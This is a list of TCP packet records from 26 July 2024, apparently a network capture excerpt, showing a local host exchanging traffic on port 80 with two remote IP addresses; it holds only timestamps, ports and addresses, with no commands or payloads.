Jul 26, 2024 13:08:54.030750990 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.030764103 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.031487942 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.031522036 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.031574965 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.032262087 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.032299995 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.032356977 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.033076048 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.033112049 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.033129930 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.033148050 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.033159971 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.033196926 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.033830881 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.033866882 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.033915997 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.034657001 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.034693003 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.034746885 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.035429955 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.035468102 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.035482883 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.035515070 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.036195993 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.036235094 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.036293030 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.037014008 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.037051916 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.037084103 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.037102938 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.037130117 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.037770987 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.037806988 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.037827015 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.037852049 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.038562059 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.038599014 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.038614035 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.038644075 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.039349079 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.039385080 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.039441109 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.040134907 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.040169001 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.040195942 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.040204048 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.040216923 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.040251017 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.040976048 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.041012049 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.041062117 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.041738033 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.041773081 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.041795015 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.041821003 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.042567015 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.042603970 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.042624950 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.042649031 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.043275118 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.043311119 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.043327093 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.043344975 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.043380976 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.043391943 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.043428898 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.044236898 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.044274092 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.044308901 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.044325113 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.044354916 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.045171022 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.045207024 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.045242071 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.045263052 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.045284033 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.046164036 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.046200991 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.046236038 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.046251059 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.046272993 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.046282053 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.046319962 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.047065973 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.047103882 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.047138929 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.047157049 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.047185898 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.048017979 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.048054934 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.048089027 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.048109055 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.048131943 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.048968077 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.049004078 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.049037933 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.049057007 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.049078941 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.049083948 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.049128056 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.049909115 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.049946070 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.049961090 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.049982071 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.049992085 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.050029039 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.050734043 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.050769091 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.050796032 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.050803900 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.050810099 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.050853014 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.051858902 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.051893950 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.051928997 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.051951885 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.051965952 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.051976919 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.052398920 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.052434921 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.052452087 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.052465916 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:54.052479982 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:54.052531958 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:55.591722012 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:56.383464098 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:56.388525009 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:56.388601065 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:56.389775038 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:56.396198034 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:56.914166927 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:56.914302111 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:56.914315939 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:56.914377928 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:56.914815903 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:56.914829969 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:56.914843082 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:56.914895058 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:56.914932013 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:56.915738106 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:56.915750980 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:56.915761948 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:56.915774107 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:56.915792942 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:56.915817976 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:56.919548035 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:56.919662952 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:56.919671059 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:56.919722080 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:56.926958084 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.006880045 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.006943941 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.006953955 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.006994963 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.010628939 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.010704994 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.010776997 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.010792971 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.010833025 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.011338949 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.011351109 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.011362076 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.011392117 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.012279034 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.012290955 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.012301922 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.012327909 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.012371063 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.013236046 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.013248920 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.013259888 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.013269901 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.013284922 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.013322115 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.014146090 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.014158964 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.014168024 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.014179945 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.014205933 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.014205933 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.014906883 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.014919043 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.014928102 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.014940023 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.014980078 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.015808105 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.015820026 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.015861988 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.100095034 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.100183010 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.100219965 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.100255966 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.100629091 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.100665092 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.100686073 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.101121902 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.101150990 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.101188898 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.101511955 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.101545095 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.101564884 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.101597071 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.101650953 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.102773905 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.102807999 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.102840900 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.102860928 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.102890968 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.102938890 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.103543043 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.103576899 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.103610039 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.103627920 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.104259014 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.104294062 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.104311943 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.104342937 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.104439974 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.105202913 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.105238914 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.105273008 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.105297089 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.105329037 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.105381012 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.106143951 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.106178999 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.106211901 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.106235027 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.107038021 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.107073069 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.107093096 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.107122898 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.107158899 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.107177973 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.107812881 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.107846975 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.107873917 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.107902050 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.107934952 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.107956886 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.108815908 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.108850956 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.108871937 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.108901978 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.108936071 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.108956099 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.108984947 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.109035969 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.109810114 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.109844923 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.109872103 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.109889984 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.109920979 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.109955072 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.109977007 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.110780001 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.110814095 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.110835075 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.110865116 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.110898972 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.110918999 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.111715078 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.111747026 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.111769915 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.192677021 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.192727089 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.192764044 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.192812920 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.192852974 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.192873955 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.192907095 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.192958117 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.193356037 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.193391085 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.193430901 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.193453074 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.194067955 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.194102049 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.194122076 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.194159031 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.194216013 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.194690943 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.194724083 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.194756985 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.194777966 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.195396900 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.195431948 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.195456982 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.195486069 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.195519924 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.195540905 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.196198940 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.196235895 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.196258068 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.196290016 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.196326971 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.196346045 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.197000980 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.197052956 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.197073936 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.197108030 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.197160959 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.197824001 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.197858095 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.197889090 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.197909117 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.197942972 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.197989941 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.198601961 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.198637009 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.198669910 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.198689938 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.199461937 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.199501038 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.199518919 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.199552059 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.199604988 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.200067043 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.200102091 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.200134993 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.200155020 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.200187922 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.200221062 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.200242043 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.200948954 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.200985909 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.201005936 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.201036930 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.201069117 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.201093912 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.201757908 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.201792955 CEST	80	49171	198.46.176.133	192.168.2.22
